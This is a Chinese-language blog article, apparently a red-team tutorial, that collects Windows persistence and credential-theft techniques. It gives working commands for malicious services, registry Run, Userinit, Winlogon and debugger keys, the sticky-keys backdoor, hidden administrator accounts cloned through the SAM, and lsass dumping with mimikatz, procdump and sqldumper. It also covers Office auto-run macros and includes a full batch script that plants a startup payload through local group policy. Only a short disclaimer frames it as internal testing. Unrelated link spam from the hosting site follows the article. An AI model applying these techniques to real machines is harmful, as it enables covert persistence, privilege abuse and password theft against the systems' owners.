文中所提到的利用方式均在WIN10与2016中进行了测试。文中所提技术仅用于内部测试,请勿进行非法利用。

Windows 启动目录:

Windows 启动目录分为,用户启动目录,与系统启动目录。

用户启动目录是登录特定用户的时候才会启动。

系统启动目录是所有登录该计算机的用户都会启动。

用户启动目录:

用户启动目录只要Administrator 权限即可

C:\Users\{username}\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup

move c:\xxx.exe "C:\Users\{username}\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\xxx.exe"

系统启动目录:

C:\ProgramData\Microsoft\Windows\StartMenu\Programs\StartUp

如果通过 move 的方式向系统启动目录的写入需要进行提权,才可写入

move c:\xxx.exe "C:\ProgramData\Microsoft\Windows\StartMenu\Programs\StartUp\xxx.exe"

Windows 服务注册:

通过在注册表中注册恶意服务并设置为自启动的方式来进行持久化。

CMD 通过 sc 进行注册:

服务注册至少需要本地管理组权限。还需要注意SC 命令需要等号后面接空格在加参数

命令详解:sc create 服务名 binpath= "命令" start="auto" obj= "objectname"

sc create pentestlab binpath="cmd.exe /kC:\temp\pentestlab.exe"start="auto"obj="LocalSystem"sc start pentestlab #立即启动服务

PowerShell 通过New-service 创建:

New-service -Name"服务名"-BinaryPathName"执行的命令"-Description""-StartupType Automaticsc start pentestlab

Registry Run Keys(注册表注册键):

Run 注册键 :

HKCU:

计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

我们通常安装的软件,其开机自启动都会放在该注册表下。如图

所以我们也能通过向该注册表添加新的键值对进行恶意的开机启动。

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run注册表的修改只要求有 administrator 权限即可

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v qf_test /t REG_SZ /d "C:\WINDOWS\system32\notepad.exe"

HKLM:

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run则需要提升了权限后才可以进行修改,因为有效负载将在每次系统启动时执行,而与使用系统身份验证的用户无关。

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v qf_test1 /t REG_SZ /d "C:\WINDOWS\system32\notepad.exe"

Userinit 注册键:

Userinit 位于 计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon以下是微软对于该注册键的说明:指定用户登录时Winlogon运行的程序。默认情况下,Winlogon运行Userinit.exe,后者运行登录脚本,重新建立网络连接,然后启动Windows用户界面Explorer.exe。您可以更改此条目的值以添加或删除程序。例如,要在Windows资源管理器用户界面启动之前运行程序,请在该条目的值中用该程序的名称替换Userinit.exe,然后在该程序中包含说明以启动Userinit.exe。如果您脱机工作且未使用登录脚本,则可能还需要用Explorer.exe代替Userinit.exe。

Userinit注册键是可以通过逗号分割多个应用程序,并且执行的程序还可以带参数(也就意味着,可以利用 powershell 实现无文件后门持久化)。需要注意的是,修改 Userinit 必须要管理员权限才可。

通过 Reg 修改注册表:

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon" /v Userinit /tREG_SZ /d "C:\Windows\system32\userinit.exe,cmd.exe" /f

通过 PowerShell修改注册表:

Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWSNT\CurrentVersion\Winlogon"-name Userinit -value"C:\Windows\system32\userinit.exe,cmd.exe /ccalc.exe"

LogonScript 注册键:

UserInitMprLogonScript 注册键位于 HKCU:\Environment下,大多数系统,注册表中都不会包含这一项。我们只需要创建该键即可。reg 或 powershell 都可以完成。

reg add "HKCU:\Environment" /vUserInitMprLogonScript /t REG_SZ /d "c:\users\red2\desktop\1.bat" /f

New-ItemProperty"HKCU:\Environment" UserInitMprLogonScript -value "c:\users\red2\desktop\1.bat"-propertyTypestring |Out-Null

注销登录就可以发现文件成功被写入,并且需要注意的是,LogonScript 的启动优先级较高,甚至优于某些杀软启动。

Load 注册键:

Load 注册键位于 HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows下。通常该键也是不存在的,但是也可以通过添加 load 键值的方式,使其生效。

reg add "HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows" /v load /t REG_SZ /d "c:\users\red2\desktop\1.bat" /f

New-ItemProperty"HKCU:\Software\Microsoft\WindowsNT\CurrentVersion\Windows" load -value "c:\users\red2\desktop\1.bat"-propertyType string |Out-Null

注销登录后成功触发

Explore\run 注册键:

Explore\run位于 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ExplorerHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer 下, 这两个注册表项需要提权才能进行修改。

直接使用 reg 创建一个 run 注册表项,并同时创建 twin 键值

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run" /v twin /t REG_SZ /d "lala.exe" /f

当我使用WIN 10进行测试的时候,发现通过这种方式创建的持久化,会触发 explorer 的错误,只有关闭掉该错误提示,才会进行后续动作

win 2016 则不存在这种问题,其他系统未进行测试,暂时不知道会不会出现这样的问题。

注销登陆,成功触发。

而单纯使用 PowerShell 进行创建的话,则先需要创建 run 注册表项,然后在创建健值。

New-Item"HKCU:\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run"New-ItemProperty"HKCU:\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\run" run_shell -value "c:\users\red2\desktop\1.bat"-propertyType string |Out-Null

Command Processor\AutoRun 注册键:

CommandProcessor\AutoRun 注册键位于HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CommandProcessor 启动时间先于用户登录。在完全重启计算机时会运行。

New-ItemProperty"HKLM\SOFTWARE\Microsoft\CommandProcessor" AutoRun -value "c:\users\admin\desktop\1.bat"-propertyTypestring |Out-Null

并且是以system权限启动

并且 HKCU:\SOFTWARE\Microsoft\CommandProcessor\AutoRun 和 HKLM:\SOFTWARE\Microsoft\CommandProcessor\AutoRun 都会在用户通过快速运行 cmd 的时候执行。

Winlogon\taskman 注册键:

taskman位于 HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\WinlogonHKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon  但是经过测试,只有 HKLM 注册表下的 taskman 是生效的。

New-ItemProperty"HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" taskman -value "c:\users\admin\desktop\1.exe"-propertyType string |Out-Null

Windows NT\CurrentVersion\Windows\run 注册键:

Windows\run注册键位于 HKCU:\Software\Microsoft\WindowsNT\CurrentVersion\Windows 下 HKLM 下的该键则不会生效。并且该键值是需要用户登录桌面后才会启动,且是当前用户权限。

New-ItemProperty"HKCU:\Software\Microsoft\WindowsNT\CurrentVersion\Windows" run -value "c:\users\admin\desktop\2.exe"-propertyType string |Out-Null

Windows NT\CurrentVersion\Windows\load 注册键:

Windows\load位于 HKCU:\Software\Microsoft\WindowsNT\CurrentVersion\Windows下和 Windows\run一样,只有 HKCU 下的该键才生效。

New-ItemProperty"HKCU:\Software\Microsoft\WindowsNT\CurrentVersion\Windows" load -value "c:\users\admin\desktop\2.exe"-propertyType string |Out-Null

其它注册键:

Windows 中可用于权限维持的注册键还有很多,由于精力有限,无法一一测试是否有效.

计划任务:

在Windows操作系统中提供了一个实用程序(schtasks.exe),使系统管理员能够在特定的日期和时间执行程序或脚本。在实战中这个地方也经常被攻击者进行利用。同时也要求创建计划任务需要管理员权限才行。

On System Startschtasks /create /tn PentestLab /tr "需要运行的程序或执行的命令" /sc onstart /ru SystemOn User Idle (30mins)schtasks /create /tn PentestLab /tr "需要运行的程序或执行的命令" /sc onidle /i 30On User Loginschtasks /create /tn PentestLab /tr "需要运行的程序或执行的命令" /sc onlogon /ru System

更多的详细信息请参考

https://pentestlab.blog/2019/11/04/persistence-scheduled-tasks/

Shift 后门:

我们都知道在登陆Windows的时候,Windows允许我们使用一些快捷功能,比如连续5次的shift启动粘贴键,在老版本的系统中(如xp/2003)我们可以通过直接替换sethc.exe进行持久化的后门植入。但是到高版本系统之后,只有TrustedInstaller组用户才有权限进行更改。但是我们还是可以通过添加注册表的方式进行shift后门植入。

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

还有就是在以下文章中看到的方式,利用对进程静默退出的监视操作,实现shift后门。但是这种方式不会像上面的那种,直接将CMD弹出到登陆界面,而是在sethc.exe退出之后运行。同样也是system权限。

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.exe" /freg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options\sethc.exe" /v Globalflag /t REG_DWORD /d 512 /freg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SilentProcessExit\sethc.exe" /v ReportingMode /t REG_DWORD /d 1 /freg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SilentProcessExit\sethc.exe" /v MonitorProcess /t REG_SZ /d "c:\windows\system32\cmd.exe" /f

参考文章:

https://mp.weixin.qq.com/s?__biz=Mzg4MzA4Nzg4Ng==&mid=2247483994&idx=1&sn=4041632680d059c6d9ed0aba0701ca71&chksm=cf4d8d3bf83a042d23216c02418ccbd377103f65b1b0eed0cbad61b055966bccd24c7637e495&mpshare=1&scene=23&srcid=&sharer_sharetime=1571196868049&sharer_shareid=be7a01e2434a36782542fb17e9d2a6e8#rd

创建后门账户:

创建隐藏账户方式一:

net user xxx$ password /addnet localgroup administrator /add

创建隐藏账户方式二:

首先还是像上面一样创建一个$隐藏账户

然后修改注册表

hklm:\SAM\SAM\Domains\Account\Users\

复制 Administrator 也就是 0x1f4 中 F的二进制值。

将其复制到新创建的隐藏账户 0x3eb 中

然后将0x1f4 与 0x3eb 与 bbb_1$ 全部导出

再删除 bbb_1$ 这个隐藏账户

最后再将导出的注册表进行导入及完成。

凭据提取:

在Windows平台中,最常用的凭据提取工具便是 Mimikatz,它能够从 lsass 中提取出用户登陆的明文账户及密码。如果提取不出明文密码,也能获得密码 hash 用以制作各种票据。其它更多的利用,不在本片文章的讨论范围,这篇文章,只简述其凭据提取的功能。

通过获取目标账户的密码或者 hash 制作的票据,我们也能达到一定程度上的权限维持的作用,当然获取密码还有更简单的方式,比如键盘记录。

直接在目标机运行:

#以管理员权限运行 mimikatz ,然后获取 debug 权限,再获取账户密码privilege::debugsekurlsa::logonpasswords

通过任务管理器转储 lsass:

除了上面直接在目标机上运行mimikatz 的方式,我们还可以通过转储 lsass 的方式,在本地进行提取。

mimikatz.exe "sekurlsa::minidump lsass.dmp""sekurlsa::logonPasswords full"exit

通过微软的小工具 procdump 进行转储:

procdump64 -accepteula-ma lsass.exe lsass.dmp

SqlDumper:

sqldumper 是 mssql 自带的一个工具,在目标机安装了 mssql 我们都可以直接使用,以 mssql 2019 为例,其存放于 C:\Program Files\Microsoft SQL Server\150\Shared

150 for SQL Server 2019

140 for SQL Server 2017

130 for SQL Server 2016

120 for SQL Server 2014

110 for SQL Server 2012

100 for SQL Server 2008

90 for SQL Server 2005

# 获取进程PIDtasklist /svc |findstr lsass.exe

#根据PIDdump lsasssqldump.exe PID 0 0x01100

Get-ProcessMiniDump :

OutLook 后门持久化:

OutLook 主页滥用:

修改主页的目标地址,改为恶意网页地址。每次点击收件箱时都会触发漏洞。

由于outlook 使用的是 ieframe.dll 来进行渲染,所以导致其可执行VBS代码。造成命令执行。

Outlook 

微软已发布KB4011162补丁用以删除该功能。

OutLook  规则滥用:

由于笔者的 OutLook 已修复该功能,且该规则滥用利用简单,所以不做单独演示。

https://www.freebuf.com/vuls/243747.html

深度利用请参考:

https://blog.csdn.net/weixin_34212762/article/details/90503389

Outlook 功能滥用利用工具地址:

https://github.com/sensepost/ruler

Office 持久化:

宏持久化:

创建一个作用于所有活动模板和文档的宏。

然后编写对应的宏代码,或使用CS,MSF等工具生成的代码也可以。

在Word中能够自动运行的默认宏代码名称及触发条件如下:1、名称:AutoExec 条件:启动Word或加载全局模板2、名称:AutoNew 条件:每次生成新文档时3、名称:AutoOpen 条件:每次打开一个已有文档时4、名称:AutoClose 条件:每次关闭文档时5、名称:AutoExit 条件:退出word或卸载全局模板时

一个简单的测试代码。当启动word 的时候触发。

Sub AutoExec()   Set sa = CreateObject("Shell.Application") '以管理员身份运行cmd   sa.ShellExecute "cmd", " /c startcalc ", , "runas", 1EndSub

组策略持久化:

LGP

本地组策略(Local Group Policy,缩写LGP或LocalGPO)是组策略的基础版本,它面向独立且非域的计算机。至少Windows XP家庭版中它就已经存在,并且可以应用到域计算机。在WindowsVista以前,LGP可以强制施行组策略对象到单台本地计算机,但不能将策略应用到用户或组。从Windows Vista开始,LGP允许本地组策略管理单个用户和组,并允许使用“GPO Packs”在独立计算机之间备份、导入和导出组策略——组策略容器包含导入策略到目标计算机的所需文件。--(应用之百度百科)

命令行输入 GCC 即可打开控制台并添加本地组策略,或者运行gpedit.msc也可以

本地组策略提供了非常丰富的功能,他可以设置用户访问权限,密码复杂度检验,账户锁定阈值,开关机脚本执行等等功能。

我们通过 LGP 的登录脚本设置,添加我们的样本文件,然后重启可以看到样本程序成功提权到system,这个点既能当做提权点,也能做权限维持。其本质与注册表提权与权限维持相同。

但是在实际环境中,我们有时无法通过桌面进行操作,所以我写了一个bat脚本用于修改计算机本地组策略,需要 administrator 权限

@echo offecho需要bypassuac后才能使用setdi=%windir%\system32\GroupPolicy\Machine\Scriptsif exist %di% (   echo script文件夹存在   if exist%di%\scripts.ini (       echo scripts.ini文件存在,删除原文件       attrib -a-s-r-h %di%\scripts.ini       del %di%\scripts.ini /q       echo.>%di%\scripts.ini       echo [Startup] >>%di%\scripts.ini       echo 0CmdLine = %~dp0artifact32.EXE >>%di%\scripts.ini       echo0Parameters= >>%di%\scripts.ini       attrib +s +a +h%di%\scripts.ini       ) else (       echo script.ini文件不存在,正在创建文件       echo %di%       echo.>%di%\scripts.ini       echo [Startup] >>%di%\scripts.ini       echo 0CmdLine = %~dp0artifact32.EXE >>%di%\scripts.ini       echo0Parameters= >>%di%\scripts.ini       attrib +s +a +h %di%\scripts.ini   )   gpupdate /force) else (   echo script文件夹不存在,创建该文件夹   md %di%   md %di%\Shutdown   md %di%\Startup   echo.>%di%\scripts.ini   echo [Startup] >>%di%\scripts.ini   echo 0CmdLine = %~dp0artifact32.exe >>%di%\scripts.ini   echo0Parameters= >>%di%\scripts.ini   attrib +s +a +h %di%\scripts.ini   gpupdate /force)pause

另外如果是针对当前用户做登录启动的组策略的话,由于最终是写入到 HKCU 注册表,所以只需要当前权限即可。

当前用户的登录脚本配置是位于 %windir%\system32\GroupPolicy\user\Scripts  ,只需要修改上方脚本中的 di 地址即可。

欢迎关注转发:

powershell设置了权限依旧无法运行脚本_没用的知识汇总+1 Windows 权限维持汇总...相关推荐

  1. powershell设置了权限依旧无法运行脚本_Power Shell折腾记

    更多内容可以关注公众号"编程学习杂谈(codingLearning)"或者访问我的博客 微软昨天刚刚发布了最新的Terminal图标,对是图标不是软件. 对这个最新版的终端个人期待 ...

  2. linux 定时运行脚本_教你如何在Linux下让Python脚本自启动和定时启动

    本文简单介绍如何在Linux下设置Python脚本自启动和定时启动. 一.Python开机自动运行 假如Python自启动脚本为auto.py.那么用root权限编辑以下文件: sudo vim /e ...

  3. aotu.js 动态运行脚本_素材丨一键生成动态LOGO,3000+个样式随你选!

    分享一套AE扩展预设包,大小是3.79G. 特别要提到的是第17个文件Motion Shapes (运动图形)里面的科幻动态,轻松实现LOGO动态一键生成,用起来特别香! 包含分类: 1/Opener ...

  4. java 打开网页并运行脚本_各种浏览器开启JavaScript脚本方法

    1.单击右上角的齿轮图标.从出现的菜单中选择Internet 选项. 2.单击安全选项卡.单击窗口底部的自定义级别按钮,弹出安全设置对话框. 3.找到脚本目录.单击JAVA 小程序下的启用选项,选择此 ...

  5. 权限认证php,2016年Linux认证基础知识:php做权限管理

    2016年Linux认证基础知识:php做权限管理 在学习Linux认证过程中,每个人会遇到每个人不同的问题,或小或大,那么你知道在Linux下,php怎么做权限管理?下面跟yjbys小编来看看最新的 ...

  6. apache禁止访问文件或目录执行权限、禁止运行脚本PHP文件的设置方法

    我们来看俩段通常对上传目录设置无权限的列子,配置如下: 代码如下: <Directory "/var/www/upload"> <FilesMatch " ...

  7. python如何运行脚本_怎么执行python脚本文件

    1.脚本式编程 将如下代码拷贝至 hello.py文件中:print ("Hello, Python!");python学习网,大量的免费python视频教程,欢迎在线学习! 通过 ...

  8. python在命令端口运行脚本_扫描端口占用情况的python脚本

    之前项目上线前,领导要求让写一个脚本用来判断端口的占用情况.由于现在python3使用也比较多,基于python2修改了一下,做了个python3版本的,现在做一下总结. 一.python脚本实现扫描 ...

  9. mysql赋予权限的时候报错_用grant命令为用户赋权限以后,登录时,出现:ERROR 1045 (28000)...

    ERROR 1045(28000)信息是因为权限的问题.这个ERROR分为两种情况: 第一种: ERROR 1045 (28000): Access denied for user 'root'@'l ...

最新文章

  1. SyntaxError: Missing parentheses in call to ‘print‘. Did you mean print(i, colour[i])?
  2. linux bash: sqlplus: command not found 错误处理
  3. ASP中Randomize随机函数的使用
  4. 单机 Oracle 11g(11.2.0.4)手动打补丁PSU(11.2.0.4.8)
  5. python中如何调用或修改元组中的元素_python 元组的使用方法
  6. 中国电子学会python等级考试一级
  7. php 社区,社区(phpmysql)一
  8. 理解position与anchorPoint[转]
  9. 计算机教育部 学科分类,教育部学科分类与代码分类查询
  10. IOS 高德地图导航
  11. idea Translation 使用有道翻译
  12. 计算机管理怎么删除分区,电脑如何删除磁盘分区
  13. “碳壁垒”悄然而起,碳足迹如何算清楚、减明白?|双碳科普
  14. 所谓成长,就是认知升级
  15. Catagory分类
  16. 用nodejs写一个yys挂机脚本
  17. SEO实战(二) 分析网站在搜索结果中的曝光和点击
  18. 2021威海高考成绩查询电话,2021威海高考成绩查询系统
  19. 算命先生有三不算:不算死人、不算同行、不算自己。
  20. zynq 7000 的流水灯实验

热门文章

  1. CheckBox UITableViewCell
  2. .h头文件 .lib动态链接库文件 .dll 动态链接库
  3. 国立华侨大学校长写给2010届毕业生的话:人生的二和三
  4. IDEA配置maven报错解决方案
  5. 在你的代码中使用自定义异常类
  6. SpringCloud Gateway 测试问题解决
  7. curl: (7) couldn‘t connect to host 解决方法
  8. 解决INVALID BOUND STATEMENT (NOT FOUND)(MYBATIS的MAPPER绑定问题)
  9. Maven国内阿里镜像(Maven下载慢的解决方法)
  10. 在JavaScript中逐个遍历数组?